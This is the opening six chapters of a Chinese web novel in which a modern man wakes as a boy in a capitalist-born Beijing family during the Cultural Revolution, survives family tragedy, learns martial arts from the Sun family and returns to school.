《重生年代：从后大宅门时代开始》 第1章 穿越&重生，可惜！穿错了地方！ 午夜，下班回来的白建军躺在床上看着短视频，这个特辑全都是《知否》中关于英国公独女张桂芬的。一边刷着短视频，白建军心里不停的吐槽着。 “这沈从兴这么不给张大娘子面子啊！” …… “这小邹氏也是个心里没数的，哈哈，看六丫头那无奈的小表情！” …… “没想到，张大娘子这么英姿飒爽啊！在看沈从兴那副眼里冒光的德行，早干什么去了！” …… “这小邹氏是疯了么？” …… “还得是六丫头，不然张大娘子就要步六丫头她娘的后尘了！” …… “这沈从兴还算个男人么？张大娘子跟着他都白瞎了，要不是看他有个当皇后的姐姐，估摸着英国公都得拿剑劈了他！” 从中午到午夜，忙碌了一天的白建军看了一会短视频也有些困倦，放下了手机，脑海中还在想着刚刚看到的视频。临睡前嘴里还念叨着： “张桂芬跟着沈从兴真是白瞎了，若让我娶到张桂芬，我一定不会让她受这样的委屈，一定给她幸福的生活！” …… “建军！建军！你快醒过来吧，只要你醒过来，姐什么都依你！” 朦朦胧胧中，一个女孩带着哭腔的声音不断的在白建军耳边响起，这让还没睡醒的白建军有些烦躁。半梦半醒的白建军在脑海中想着自己是家中的独子，哪来的姐姐啊，可是又实在耐不住女孩的呼唤，想着只要睁眼看一下，这些烦人的梦境也就消失了。白建军勉强的睁开了眼睛，又很快闭上了眼睛，可是耳边的呼唤仍然没有停止。 “刚刚我的床边，有个女孩？” 白建军迷迷糊糊的想到。 白建军再次睁开了眼睛看向刚才的方向，这次白建军终于看清楚了，就在自己的床边，一个女孩低着头坐在凳子上小声抽泣着。 “嗯？” 白建军疑惑的看着女孩，又看了看四周，最后抬起手看了一下自己的小细胳膊。 “咣当！” 白建军的动作让女孩一下子站了起来，女孩身下的凳子直接倒在了地上。 “建军！建军！你终于醒了！”女孩一下子就扑到了已经做起来的白建军身上，脸上的眼泪打湿了白建军的胸膛，嘴里不停的念叨着。“都是姐的错！都是姐的错！” “嗯……这是哪？”白建军看着望着自己的女孩尴尬的问道。“你是谁？” 白建军的话，让原本有些激动的女孩一下子愣住了。 “建军，你……你不记得我了么？”女孩焦急的抓住白建军的肩膀问道。“我是你姐，白建华啊！” “不记得了！” 白建军摇了摇头看着白建华说道。 看着茫然的白建军，白建华一时之间也有些手足无措。 “建军，你在这儿待着别动！”白建华送来了白建军的肩膀看着白建军叮嘱道。“我出去一下，马上就回来！” 说完话的白建华，见白建军点了点头，立马走出了白建军的屋子。坐在床上的白建军看着白建华走出了院门就从床上下来了，仔细的打量起了自己现在所在的屋子。自己的这个屋子不大，估计也就20平左右，虽然打扫的很干净，但是屋子里的家具都有不同程度的破损。 白建军在一面碎了的镜子面前，看到了自己现在的模样。脸还是自己的脸，但是明显是自己幼年时候的模样。 “我这是在做梦么？”白建军看着镜中的自己不由得喃喃问道。“我都快三十了，怎么还能看到十岁左右的自己啊！” 看着陌生的房间，看着外面陌生的院子，最后又看着镜中熟悉而陌生的自己，白建军一时之间有些不知所措。 “由于很多XX的存在对某些时空的某些事产生了怨念，但是祂们又不能亲自出手，所以祂们只能挑选一些人去到相应的时空改变那些让祂们产生怨念的事！” “等被选中者真的做出了一些改变之后，祂们会根据被选中者的表现给予被选中者一些奖励！” 血红的文字突然出现在了白建军面前那面破损的镜子上。 “这是哪位大神产生了怨念啊？让我到这里来，又要我改变什么啊！” 白建军看着镜子前血红的文字惊讶的问道。 仿佛是感受到了白建军的疑问，血红的文字逐渐消失，新的文字再次出现。 “改变张桂芬的不幸！” 白建军看着出现的文字都想口吐芬芳了，可最终还是忍住了。 “张桂芬在大周，我这日历显示现在可是特殊年代！” “由于未知的原因，穿越发生错误。被选中者需要先在这个世界自行探索！” 看着再次出现的文字，一个绿色的词汇不由从白建军嘴里脱口而出。 “不说直接一步到位穿到大周，就算换个别的时间段也好过这个时候啊！” “就算穿越了，最起码也给我个新手礼包或者金手指啊！” 白建军看着镜子不断的说道，可是自从最后一段文字消失之后，无论白建军说什么，镜子前也在没有文字出现。而这时，院外也传来了人声。 “建华，你别急！” 一个中年女人的声音在院门口响起。 白建军听到动静，也从屋子里走到了院子中。 “建军，不是让你在屋子里待着么！” 白建华看到走出屋子的白建军，连忙走到白建军身边说道。 “我就是出来透口气！” 白建军看着这个自称是自己姐姐，也可能真是自己姐姐的女孩说道。 “建军！” 这时候，跟着白建华进来的中年女人也开口叫道。 “高阿姨，你快给建军看看吧！”白建华这时候也想起来跟着自己过来的高兰。“他说不记得了。” 高兰安抚着白建华说道。“建华，你别急，我们先进屋再说！” 白建华听了高兰的话之后，赶紧拉着白建军往屋里走，白建军也没有挣脱白建华的手，而是被拉回了自己屋里。高兰也跟着姐弟二人进了屋。 高兰进屋之后，问了白建军好几个问题，然后皱眉看着焦急的白建华说道。 “建华，你别着急！建军这种情况可能是选择性失忆。他虽然不记得我们了，但是其他的基本认知都没有忘！” “高阿姨，那建军现在的情况，该怎么办啊！” 白建华看了看茫然的看着高兰的白建军，又看向高兰问道。 高兰心疼的看了一眼白建军。“现在也没有什么好办法，只能慢慢观察！或许过一段时间，建军就恢复过来了。” 高兰待了一会儿，又给白建军做了一些简单的检查，就离开了白家，白建军望着穿着一身绿军装的高兰的背影，嘴里喃喃的说道。 “皇后娘娘还有这么温和的时候？” 第2章 太奶奶？李香秀！ 京城，白家小院。 白建军来到这个世界已经两天了。这两天里，尽管白建华说话吞吞吐吐的，但是白建军还是在白建华的口中搞清楚了自己的身份和原身昏迷的原因。 半个月前，郑三旦带着一帮年轻人再次来到了白家，等这些人走了之后白建军的大哥、母亲和奶奶三口人在送医过程中就重伤不治，白占元伤势还算轻点，整个白家就只有先被苗若珍藏起来的白建军和白建华没有被波及。不过虽然白建华和白建军躲过去了，但是白建军已经被紧张的白建华捂窒息了。 白占元让白建华去隔壁四合院找了住在那里的高兰医生，才算把白建军的命救了回来。白建军虽然恢复了心跳和呼吸，但就是一直都醒不过来，白建华也向疯了似的一直在白建军的床前道歉。 白家发生了这么大的事，事情从街道一路汇报区里再到了市里。在白建军醒来的五天以前，街道和派出所的同志来到了白家。 街道的通知虽然安慰了一番白占元，让其安心在家休养，但是并没有说对于那些青年的处理意见，其结果自然不言而喻；至于郑三旦派出所的通知也说已经对他进行了批评教育。 当两方的人离开了白家之后，白占元给只知道照顾白建军的白建华留下了一句“我留下了一封信，你要交给住在九道湾那边你太奶奶李香秀！”这么一句话之后，就选择在家中结束了自己的生命。白占元的后事，还是隔壁四合院的几家帮着料理的。 白建军也是通过白建华的描述，才知道了这些事情。 “在这个特殊的年代，背着这么一个资本家子女的名声，还真是天糊一样的开局啊！” 站在自家院子里的白建军看着头顶上清澈的天空，可是白建军心里却充满了阴霾。白建军和白建华姐弟俩现在也面临这诸多问题需要一一解决。 白占元死后，白建军和白建华已经成为了孤儿，若不是白建华请隔壁的邻居去九道湾那边把李香秀找来，街道都要联系孤儿院那边了。好在李香秀来了之后，表示愿意照顾白建军姐弟，这才让姐弟俩能还有个家。 白建军醒来之后，白建华就请人去找了李香秀，可是回来的人告诉白建军姐弟，说李香秀去外地看儿子去了并没有在家。直到白建军醒来的第二天傍晚，白建军才见到了这位太奶奶。 “这些日子，终于有了一个好消息！” 李香秀一到白家，看到正在吃饭的白建军姐弟不由得苦笑着说道。 李香秀这次去外地看李天意，本打算修复一下母子之间的关系。可是李香秀没想到，一见到李天意，李天意直接递给了李香秀一张断绝母子关系的声明，李天意声称自己要恢复本来的姓名，回自己真正的家。 李香秀被李天意的举动彻底伤透了心，痛快的签了字之后，就返回了京城。而一到京城，邻居就告诉李香秀说有人找过她，李香秀第一个想到的就是白家这边又出事了，第一时间就赶了过来。 “太奶奶！”白建华看见李香秀进来，连忙招呼道。“你看，建军醒了！” 可是说着说着，白建华的眼泪就流了下来。李香秀赶紧快步走了过来，给白建华擦起了眼泪。 “建华，你这是怎么了！” “太奶奶，建军……谁都……不认识了！”白建华扑到李香秀的怀里抽泣着说道。“高阿姨……说……建军……失忆啦！” 李香秀诧异的看向了望着自己的白建军。 “建军，你真的什么都不记得了？连你爸、你妈，你姐都不记得了么？” “之前的都不记得了，现在记得我姐了！” 白建军看着神似曾经有着“江南第一美女”之称的太奶奶说道。 “嗯……！” 李香秀沉吟了一下，然后拍了拍白建华的背，等白建华离开自己的怀里之后，才看着白建军和白建华说道。 “忘了也好！这些日子，建华你就带建军熟悉一下周围的邻居吧！” “太……奶奶！”白建军有些别扭的说道。“隔壁四合院夏家、田家、任家我都重新认识了，至于周围的其他家……” “这个事也是没办法，毕竟你们姐弟现在的身份摆在这！” 李香秀无奈的说道。 “太奶奶，我爸之前和我说，给您留了一封信！” 白建华说完话赶紧去白建军那屋去找信去了。由于之前白建华精神状态的原因，李香秀第一次来的时候，白建华根本没在意这件事。现在白建军醒了，白建华的执念消除了大部分，也记起了这么件事。 不大功夫，白建华就拿出了一个信封交给了李香秀。李香秀抽出信纸，一共两页。第一页上面的开头再次让李香秀难受了起来，因为这张纸又是一份断绝父子、父女关系的声明，而且白占元已经签字画押；第二页上面才是白占元要跟李香秀说的话。 奶奶： 我不明白！这一切都是为什么？我到底做错了什么？ 请原谅我的懦弱！ 建华和建军还小，他们姐弟以后就只能拜托奶奶您代为照顾了！ 新种花18年4月 不孝孙白占元绝笔 信很短，但是李香秀也能看出白占元写信之时的迷茫和绝望，而且也明白了白占元写那份断绝关系声明的用意。这份声明虽然不完全有用，但是对两个孩子来说有总比没有要强一点。 李香秀让姐弟二人看完信之后，直接把信扔进了还有着余火的炉子，一脸慎重的看着白建军和白建华说道： “建军、建华！以后你们在外人面前要尽量表现出对你们出身的厌恶，明白了么？” “我明白！” 白建华点头看着李香秀说道。 “我也明白！” 白建军也点头肯定的说道。 看着一口同声的姐弟姐弟二人，李香秀诧异的看着小两岁的白建军问道。 “建军，你真明白了么？” “太奶奶，我懂！” 第3章 后《大宅门》时期 断绝关系的声明在这个时代太普遍了。父母与子女、丈夫与妻子、某人和某人，只要两人的正文氵台理念不同的时候，都会有这么一份声明的存在。 在李香秀将白占元的这份声明交到了街道之后，白家后面的很多事情进行的都很顺利。白家的房子顺利的落户到了白建军名下，而且街道还帮姐弟俩申请了一定的低保补助，毕竟新种花是不会让人民，特别是两个无依无靠的孩子饿死的。 这一段时间，李香秀也在默默的观察白建军姐弟。无论白建华还是白建军，在李香秀看来，都表现出了不符合两人年龄的成熟。而有些话，李香秀也要和两个孩子好好谈一谈。 “建华、建军！现在这种局面早晚有一天会结束的。唉，咱们家这一支就剩下你们姐弟俩了。” 李香秀看着两个孩子认真的说道。 “待情况有所改变之后，看看能不能把你们姐弟俩送走吧。” “太奶奶，你要把我们俩送到哪？” 白建华知道李香秀所说的送走不是把姐弟俩送人。 “南方！” 李香秀看了一眼门外，小声的说道。 运动发起之前，李香秀甚至是白占元一家都有机会离开京城的，但是李香秀是放不下儿子李天意，白占元当时是根本不考虑。如今李天意和李香秀决裂，白占元也已经不在人世，但是两个孩子却没有走的机会了。 “南方？”白建军意外的看着太奶奶李香秀。“太奶奶，你是说香江么？” “建军，你是怎么猜到的？” 李香秀诧异的看着白建军问道。 当然是上辈子知道的，但是白建军不能说啊，只能找一个能说得过去的理由。 “太奶奶，我最近把家里的报纸都看了一遍！”白建军想了想说道。“现在全国一盘棋，哪里都一样。你刚刚说南方，肯定不是指国内，那就只剩下香江了。” “可惜了你们两个好孩子啦！”李香秀惋惜的看着白建军和白建华说道。“都被你爸给坑了！” 白建军也好，白建华也好，都没有接这个话，不过李香秀也就是埋怨了一句，白占元人都没了，在怪他又能怎么样呢！ “白家以前是医药世家，是个大家族。解放前，在长安、泉城、上沪甚至香江都有你太爷爷的同辈堂兄弟在打理着各房开的百草厅分店。”李香秀看着两个孩子介绍道。“解放后，特别是公私合营之后，除了你太爷爷这一支留在京城，其他各家都去了香江，包括你二爷爷他们一大家子也都去了。” “不说香江不大么？咱们家这么多亲戚都去了那边，还都是干一样行当的，那不得自己人和自己人掐起来啊！” 白建军略带疑惑的看着李香秀问道。 “只有你二爷爷他们一家留在了香江，其他各支有去南洋的，有去小岛的，当然也有去欧洲和美洲的。” 李香秀看着白建军姐弟说道。 “外面那么容易站住脚么？” 作为穿越者的白建军可是知道，外面的月亮并不比国内圆，而且华人到海外，受到的诘难要比其他肤色的人要多得多的多。 “外面也不容易，但是你们的三太爷爷，早在很多年前就在海外布局了。所以白家人出去了，才会比别家更容易生存下来，而且活的更好。”李香秀看着白建军认真的说道。“你们的三太爷爷和你们的太爷爷，是亲兄弟。” 白建军露出了吃惊的表情，当然这也不是装的。 从见过高医生以及知道李香秀的名字的时候，白建军就知道现在这个世界不是单独的某个世界。和自己的前世比，两个世界的历史大势没有什么变化，但是细微处的变化可太多了。起码李香秀提到的这位“三太爷爷”，在自己原本的印象中只是一份喜单上的名字，但是在这个世界确实一个活生生的人，而且其可能是比“自己”太爷爷白景琦更厉害的存在。 “我说这些，只是想让你们姐弟俩知道，你们现在要尽量的低调、忍耐！但是遇到那种拿你们身份说事的，你们也要反击回去！”李香秀看着白建军姐弟认真的说道。“只有挺过了这段最难的日子，迎接你们的都是好日子！” 李香秀现在最担心的其实是哪天姐弟俩忍受不了，走上白占元的老路，所以才会说这些话，给姐弟两人一个活下去的希望。 “太奶奶，您放心，我会照顾好建军的！” 白建华看着李香秀坚定的说道。 听到白建华的话，白建军心里的感动是无法用语言来形容的。白建军以前是家中的独子，从来没有感受到过哥哥姐姐的关爱，但是自从自己醒过来之后，白建华是真的照顾自己。 “还说给别人幸福呢！”白建军看着认真的白建华，心里默默的想到。“我最应该给我这个‘亲’姐姐幸福。” “太奶奶，我也会保护好姐姐的！” 白建军转头看着李香秀认真的说道。 “你们俩都是好孩子！” 李香秀看着两个孩子欣慰的说道。 白建军可不是嘴上说说而已，第二天白建军就问李香秀哪里可以练武。这时候练武还是属于锻炼身体的有益活动，并不属于“四旧”。起码现在有些身手，在加上一些狠劲，能让很多人顾忌，不会轻易欺负姐弟二人。李香秀沉吟了一会儿，最后还是让白建军自己先出去打听去了。 白建军现在的社交圈子很小，只能跑到隔壁四合院去找田源和夏建国打听。虽然白建华跟白建军介绍过，这片还有不少两人的同学，可是白建军近期也不敢去打扰人家。虽然有断绝关系声明存在，但是别人是否认，那就说不准了。 隔壁四合院的夏家和田家也存在着同白家类似的问题，而且白占元、苗若珍同隔壁院的几个大人曾经是战友、同事，白建华和隔壁院田源、夏建国是同学，白建军和夏建国的妹妹夏建红还有他们院的任燕也都是同学。有这么多关系和客观原因，彼此之间的走动自然会多一些，也不会有歧视的存在。 隔壁四合院里的大人们上班的上班、劳动的劳动，留下来的都是停课在家的孩子们。 “我听说月坛公园那边有人在教拳，你可以去看看！” 热情的田源一听说白建军想练拳锻炼身体，立马给白建军说了一条路。 “田源哥，拜师要收钱么？” 白建军看着田源问道。 “人家是义务教拳，不收钱！” 田源看着白建军佩服的说道。 “田源，你怎么知道的？你是不是去过？”夏建国看着门清的田源直接问道。“有这好事，你竟然不告诉我！” “我嫌他们教的拳打的太慢了，我就没去学。”田源看着好兄弟赶紧解释道。“我就去过两回！” “下回你在自己吃‘独食’，我就告诉田叔叔揍你！” 夏建国看着田源开玩笑的说道。 “建军，你要是想去那边，叫上你姐，我们一起过去看看，人多也好有个照应！” 说完了田源的夏建国，转头看向白建军说道。 “行，建国哥，我这就回去告诉我姐去！” 第4章 拜师学拳 月坛公园这里每天都有不少人在公园里学拳，少的时候五六个，多的时候也有十多个。白建军他们一行七个孩子找到月坛公园练拳地点的时候，已经有人在跟着教拳的师傅开始练拳了。 白建军等人也没有一上来就跟着练，而是站在一边看着，可是他们的存在已经引起了教拳师傅的注意。白建军他们虽然都是孩子，但他们都穿着停课之前学校发的绿军装，这副穿着也算是时代的特色了。 “你们是有什么事么？” 带着眼镜，穿着一身灰色衣服，脚下一双布鞋的教拳师傅在空隙的时候走过来问道。 夏建国看着教拳师傅礼貌的说道：“奶奶，我这个弟弟想锻炼身体，听说这边有人教拳，我们就是来看看的！” 听到夏建国的回答，孙师傅的心放下了不少。一是这些孩子听口音就是京城本地人，二是起码这些孩子态度还是很客气的，不像是来找事的。 “奶奶，我叫白建军，是我想锻炼身体的。伟大领袖教育我们：身体是GM的本钱！”白建军伸了伸没有多少肉的胳膊看着教拳师傅说道。“您也看到了，我这刚大病初愈。我就想有个好身体，保家卫国，保卫伟大领袖！” 教拳的师傅听了白建军的话，看着白建军那逛荡的衣袖，内心是有些拒绝的。 “小同志，你先在边上看看。如果你想学，麻烦你还得把你家大人叫来一下，有些话，我要和你家大人说清楚。”教拳师傅看着白建军客气的说道。 “奶奶，我爸妈都不在了，家里就剩下我们姐弟俩，我能自己做主！” 白建军看着教拳师父认真的说道。 “嗯……，不好意思啊！”教拳师傅道歉之后，思索了一下，看着白建军问道。“你家里就没有别的亲人了么？” 白建华一直在一边听着，见教拳师父提问，上前一步站在白建军身边说道：“我家还有个太奶奶，但是这个事，我弟弟自己就能做主！” “这样吧，你们先在一边看一会儿！”教拳师父见那边已经休息的差不多了，看着白建军和白建华温和的说道。“等会我教完，咱们再单独聊一下。” 教拳师父说完，就回去继续教拳去了，白建军和白建华看了看，都感觉这个教拳师父的行为有些怪异。 初看练拳还感觉有些意思，但是时间长了，众人也感觉有些枯燥。特别是这次夏家才6岁的小妹都跟着出来了，所以看了一会儿，白建军就让大家先去在月坛公园里面逛一逛去了，而白建军则留在这边继续看着教拳师父教拳。 白建军上一世就是学中医的，也学过一些养生的拳法，比如说太极拳，虽然白建军学的不精，但是白建军也看出了月坛公园教拳师傅教授的太极拳和自己上一世明显有很大的差别，这也是白建军留下继续观察的原因。 教拳师傅一直留意着白建军这边的情况，见就剩下白建军一个人的时候，教拳师傅等了一会儿再次走了过来。 “奶奶好！” 见教拳师傅过来，白建军礼貌的说道。 “小同志，你姓白？这京城原来最有名的姓白的人家，就是原来百草厅的白家了，你听说过么？” 教拳师傅看着礼貌的白建军，随意的问道。 “奶奶，我听我太奶奶说过！”白建军看着在套自己话的教拳师傅笑呵呵的说道。“不过百草厅现在是公家的了，也没有什么百草厅白家了！” 教拳师傅听了白建军的话，大体上就判断出了白建军和原来的白家有关系。若是没有关系，白建军会直接叱责百草厅是资本家，而不是这么淡淡的说事实。不过教拳师傅仍然想再次确认一下。 “好孩子，我教的是太极拳，我姓孙！一般下午，我都在这里教拳。你要是想学拳，还得让你太奶奶过来一趟！”教拳师傅看着白建军温和的说道。“你回去跟你太奶奶说一下吧！” 看似只是简单的自我介绍，可是白建军感觉这位孙师傅已经把该说的话都说了，只是自己不懂。而这位孙师傅两次过来，虽然都是让自己家里的大人过来，但是最后这一次，话里的意思显然是冲着自己的太奶奶李香秀去的。 “好孩子，练拳不是一件简单的事情，只有你家大人同意了，我才能教你！”教拳师父看着白建军补充了一句。“见你家大人，也是想把一些需要注意的事和你家大人讲明白！” “孙奶奶，那我回去和我太奶奶说一下！”白建军也点头看着孙师傅说道。 “嗯，好孩子，去找你的朋友们去吧，早点回家！” 孙师傅和蔼的说道。 和孙师傅说完话不久，白建军就去找在月坛公园游玩的众人，大家又玩了一会儿就趁着大人们还没有下班回来，赶回了家中。白建军回到家之后，就把孙师傅的话转告给了李香秀。 “建军，太奶奶问你，你真要学拳么？”李香秀看着白建军认真的问道。 白建军看了看白建华，同样认真的回答李香秀。 “太奶奶，我看报纸上说，要让我们这些学生们回去上课。之前强调那么多次，但收效甚微，不过我们早晚是会回到学校的。到时候，我和我姐自然会和同学有所接触，我不想看到我姐被欺负。以后谁要是欺负我姐，我就打到他不敢欺负我姐为止。” 听到白建军的话，李香秀考虑了一下，就同意和白建军去一趟月坛公园。 一夜无话。 第二天，白建军就领着李香秀来到了月坛公园，教拳的孙师傅也看到了祖孙二人的到来。孙师傅对着祖孙二人点了点头，就正常教拳，李香秀也让白建军在边上耐心的等待。 等到今天的教拳活动结束了之后，孙师傅才向着祖孙二人这边走了过来。 “老人家，辛苦您来一趟，咱们去我家再说吧！” 李香秀也没有多说什么，只是领着白建军跟着孙师傅来到了附近的一所平房。白建军跟着两人走进去的时候，就见屋里还有一位五十多岁的老太太在屋里。 “姑姑，我带七婶来看您了！” 孙师傅对着屋中并没有比她几岁的女人柔声说道。 “建芸姑娘，好久不见了！” 李香秀也对着孙建芸打招呼道。 “真是七嫂您！”孙建芸看着李香秀惊讶的说道。“您怎么和姝蓉遇上了！” “姑姑，是七婶儿的重孙想学拳，打听到月坛公园那里，我这才将七婶儿和孩子带过来的！” 孙姝蓉看着孙建芸解释道。 “那七嫂您的意思是？”孙建芸看着李香秀疑惑的问道。 “孩子想学功夫保护他姐姐。”李香秀看着孙建芸直接说道。“还请您教他一些‘真’功夫。” “七嫂，咱们两家的关系摆在这里呢，现在不能教别人真功夫，但我一定会教白家的孩子。”孙建芸看着李香秀认真的说道。“但是有一条，这孩子平时只能用一些小技巧和小手段，不到生死关头，绝对不能用真功夫。” “建军，给你孙太奶奶和姑祖母磕头！” 第5章 复课啦 有事可干的时候，日子过得就比较快。 自从白建军正式给孙建芸和孙姝蓉磕头拜师之后，白建军就开始了学拳生涯。当然白建军并不是在月坛公园跟着孙姝蓉学，而是在孙建芸的小院里学习，当然对外的由头是跟着孙建芸学习书画。 大半年的时间里，白建军已经打下了一定的基础，形意、八卦、太极也都打的似模似样，当然苦也没少吃。无论是孙建芸还是孙姝蓉平时对白建军都当作晚辈对待，但是在练拳的时候，也是严格异常，对练之时，手指、手腕被划破已经是家常便饭了。而也就是这半年内，白建军也在孙家看到了孙禄堂大师的著作。 白建军开始也奇怪，孙建芸怎么还能保存下这么多之前的文稿，可是看着这个不到二十平米的小院，和孙建芸的房间，白建军也就有些理解了，这里用一句家徒四壁形容，完全不为过。孙建芸也不是什么知名书画家，她家里平时习练的作品根本不会被人盯上。 “我这个落魄人士身上有什么油水可捞？破四旧的时候，谁都对我家都不屑一顾。” 这句话也是白建军随意问了一句的时候，孙建芸开玩笑一样说给白建军的。 这天白建军如平常一样的准备出门去孙建芸处，可是刚走到胡同口的时候，就看到街道的工作人员在胡同口的告示墙上贴了几份红头通知，不少围在那边的孩子们看过通知之后都跟霜打了的茄子一样。 白建军并没有往那边凑，可是还是听到了不少孩子的议论声。 “我还没玩够呢！” “《通知》是DZY、伟大领袖做出的正确决定！你要反对？” “我哪敢啊！我还是趁着有三天时间，好好出去玩一玩吧！” 白建军听到议论之后，又掉头往告示墙上看去。 最左边的是D中央、政务院、中央JW、中央WG小组联合下发的通知：要求全国各地大、中、小学一律立即开学，一边进行教学，一边进行改革，发布时间是新种花18年10月14日。 挨着的是市里下发的通知，内容是强调各区认真执行最左边的通知；区里的通知则是明确了各中、小学校开学时间，并且强调辖区内中、小学务必做好复课准备，组织教职员工挨家走访，不使一个学生掉队。 在看过各个通知的内容后，白建军觉得这次是动真格的了。之前也有类似的文件，但那只是意见，但这份通知已经是严令了，而且是多个部门联合下发。白建军也明白这次是真的要上学了。 白建军再次来到孙建芸家里的时候，就和孙建芸说了这个事。孙建芸也表示该教的也都教给白建军了，以后除了偶尔过来，不需要总往这里跑。孙建芸让白建军无论到什么时候，都不要放弃学习，毕竟自己掌握了知识是属于自己的财富，有知识和没有知识，还是有区别的。 当天晚上回到家里的时候，白建军就听白建华说了，学校的老师已经来过了，通知她们姐弟三天之后去学校上课。原来二年级的白建军，一下子就变成了四年级学生，而白建华也从原来四年级，直接升到六级。 三天时间转眼而过，当白建军和夏建红走进了四年三班教室的时候，一名三十多岁的女老师早就站在了讲台上。 “课桌上有各人的名字，你们自己找一找。” 对每一个进来的学生，老师都会说这句话。 白建军和夏建红找了找，就找到了自己的名字，而夏建红就在白建军的前面，而白建军后座的名字也引起了白建军的注意，男孩名字没听过，但是女孩的名字是“苏萌”。 第一天开学，几乎没有人迟到。 叶老师脸上还带着疲惫，等教室里坐满了学生之后，就对着所有人说道。 “同学们，我是你们的班主任，我姓叶。下面，大家都做一下自我介绍，说说自己叫什么。”叶老师边说，边指了指第一排最左边的学生说道。“就从你开始，然后依次往右，第一排说完，第二排也是从最左边开始。” 随着同学们的依次介绍，到第二排中间的时候，一个女孩的自我介绍引起了白建军的注意。 “我叫徐静理！” 白建军看着徐静理坐下的背影，不由眼神变化了一下。 等所有学生都介绍完了之后，叶老师就准备开始和同学们说之后的安排。可是这时候学校里的大喇叭开始喊话： “同学们注意啦！同学们注意啦！” “各班在各自班主任的带领下，立刻到大操场集合！重复一遍！各班在各自班主任的带领下，立刻到大操场集合！” 叶老师放下了笔记，看着所有学生们直接说道。 “大家先到教室外面排队吧！” 白建军听了老师的话，就和同学们一起往教室外面走，而此时教室前的空地上，各班的同学都叽叽喳喳的讨论着在大操场集合是干什么。叶老师让徐静理打头，之后才让男生女生站在徐静理后面排成2排。 白建军没有着急往前站，而是站到了男生队伍的最后。夏建红、苏萌也都是往女生队伍的最后面站，两人都要往最后站，苏萌有些委屈的都要掉眼泪了。 “建红，你让苏萌同学站最后吧！” 看着委屈的苏萌和不知所措的夏建红，白建军连忙小声对着夏建红说道。 夏建红听了白建军的话，这才往前了一步，苏萌胆怯的看了白建军一眼，就低着头站在了女生队伍的最后。 等到四年三班的队伍集合好，叶老师就带着同学们往大操场而去，等到了大操场，叶老师估摸了一下位置，让队伍站好之后，就走到了队伍的最后面。这让本就一直低着头的苏萌，把头低的更低了。 过了十多分钟，大操场上才站满了学生。大家看着站在领操台上的众人，一时之间都和身边人小声议论了一起，操场上顿时嗡嗡声一片。 白建军看到领操台上站着的并不是学校原来的校长和其他老师，而是一名身穿绿军装的男青年人以及一个穿着附近工厂工作服的中年男人，还有一名看打扮就是农民的中年男人。 随着那名军装男青年拍了拍话筒，操场上也逐渐安静了下来。 这个男青年先是复述了一遍《通知》，之后总结了学校停课闹GM的情况，接着又对下一步的复课闹GM提出了要求。 总的意思是说，复课闹GM是WG发展到现阶段的迫切需要，也是广大GM师生和广大GM群众的共同愿望。文化大GM已经取得了决定性的胜利，为改革旧的教育制度、改革旧的教学方针和方法扫清了道路。在这种情况下，各个学校才完全有可能由停课闹GM转入复课闹GM，广大GM师生应当集中力量进行本学校的运动。 白建军就在这一篇“伟、光、正”的讲话中，正式开启了学习的旅程。 第6章 开学的第一天 崇文小学四年级三班。 第一天的开学，并没有什么正式的课程，旧课本是“资产阶级主导的教材”自然是不能用的，而新的教材也在紧急编写中。叶老师今天的主要工作就是梳理出班级的班干部，并且按照各个同学所住的位置，大致划分一下“学习小组”。 叶老师这几天把自己班级里所有的家庭都走访了一遍，所以对于各家的情况多多少少也有一些了解，所以对于班长的人选，也心中有数。不过叶老师并没有直接任命班长，而是提出了3个人选，而且也说了这三个同学的家庭状况，让同学们自己选择。 徐静理的名字就这三人之中，另外两个同学中，一位是因为父母都是工人，另一位父亲是工人，母亲出身京郊农村。徐静理在白建军这届也算小有名气，毕竟她妈在正阳门这一片也算是知名人物了，而另外两个同学的父母只是工厂的普通工人，并没有能为他们的孩子提供名声的加成，所以不出叶老师意外的，徐静理当选了四年三班的班长。 白建军姐弟是因为白占元被牵连，白家隔壁四合院三家中，白建军的同学夏建红也有这样的问题，夏建红的父亲夏默是经济学专家，但是运动开始后也受到了冲击，人已经去地方上参加劳动了；白建华的同学田源也面临这个情况，田源的父亲田志远，被关了一年牛棚，也是最近才回来的，不过现在被街道安排打扫卫生呢；只有任燕家没有受到运动的影响，因为任燕的父亲任大力出身工人阶级，还是“全国劳动模范”。 至于白建军、夏建红乃至苏萌在停课之前，都曾在班级里担任过班干部，但是这次四年三班选拔班干部和小组长，三人的名字都没有被叶老师提及。这倒不是叶老师看人下菜碟，大环境就是如此，叶老师也不得不谨慎应对。 白家、夏家、田家的父辈虽然都有着这样那样的问题，但是三家的女主人并没有受到什么影响。苗若珍去世之前在后勤工作、高兰一直都是医院的医生、曹慧则是杂志的编辑，她们三个都属于另一个系统出身，受到的影响相对小的多。这也是白建军和夏建红没有被分配到最后一排的原因。 个子不高但是仍然被安排到最后一排的苏萌，乃至班级里最后一排的其他同学，差不多都是受父母的牵连，像苏萌的父母就都是教师，现在都不知道人在哪呢，苏萌这两年都是住在奶奶家的。 其实叶老师也是刚刚被放出来不久，不过叶老师并不后悔被关，红色青年让叶老师写老校长的材料，但是凭空污蔑、无中生有的事，叶老师干不出来。叶老师虽然有自己的坚持，但是在班干部的安排上，能少些麻烦还是少些麻烦。 四年三班的班干部选拔上倒是没有出什么问题，人选都是那种出身“红五类”家庭的孩子，也是所有同学们投票选出来的。但是在学习小组的安排上，还是出现了问题，而问题就出在苏萌身上。 学习小组，一般都是一个院子或者附近的几个院子中的同年级的学生组成的，每个小组最少要三个人才可以。建立这个学习小组的目的一个是能让学生们在放学之后能继续复习功课，也是为了让大家互相监督，留在家里，省的继续去街面上瞎溜达或者参加各种红色青年组织。 一个院的孩子，不一定都在一个班级，所以老师们就让同学在课间休息的时候，先和自己院子里的同学先商量自行成组。可是苏萌在叶老师开完会回来之后，也没有找到愿意让她加入的小组。 苏萌现在住在正阳门附近的四合院，按照就近安排的原则，应该把她分入徐静理的小组，徐静理倒是没有意见，但是她们组的其他人都明确表态不想让苏萌加入她们的小组。这让原本就内心骄傲的苏萌回来之后直接趴在桌子上委屈的哭了出来。 叶老师知道这个事情，也很无奈。徐静理那个小组的几个同学的家庭成分都不错，她们不愿带着苏萌，在这个“以阶级斗争为纲”的时期也是一件能让人理解的事。 白建军用手捅了一下夏建红，见夏建红回头，白建军用眼神示意了一下后面的苏萌，夏建红一下子就理解了白建军的用意。并主动举手示意。 “夏建红同学，你有什么事么？” 叶老师见夏建红举手，连忙问道。 “叶老师，如果苏萌同学不觉得我们学习小组离她家有些距离的话，可以到我们的学习小组来。” 夏建红站起来看着叶老师说道。 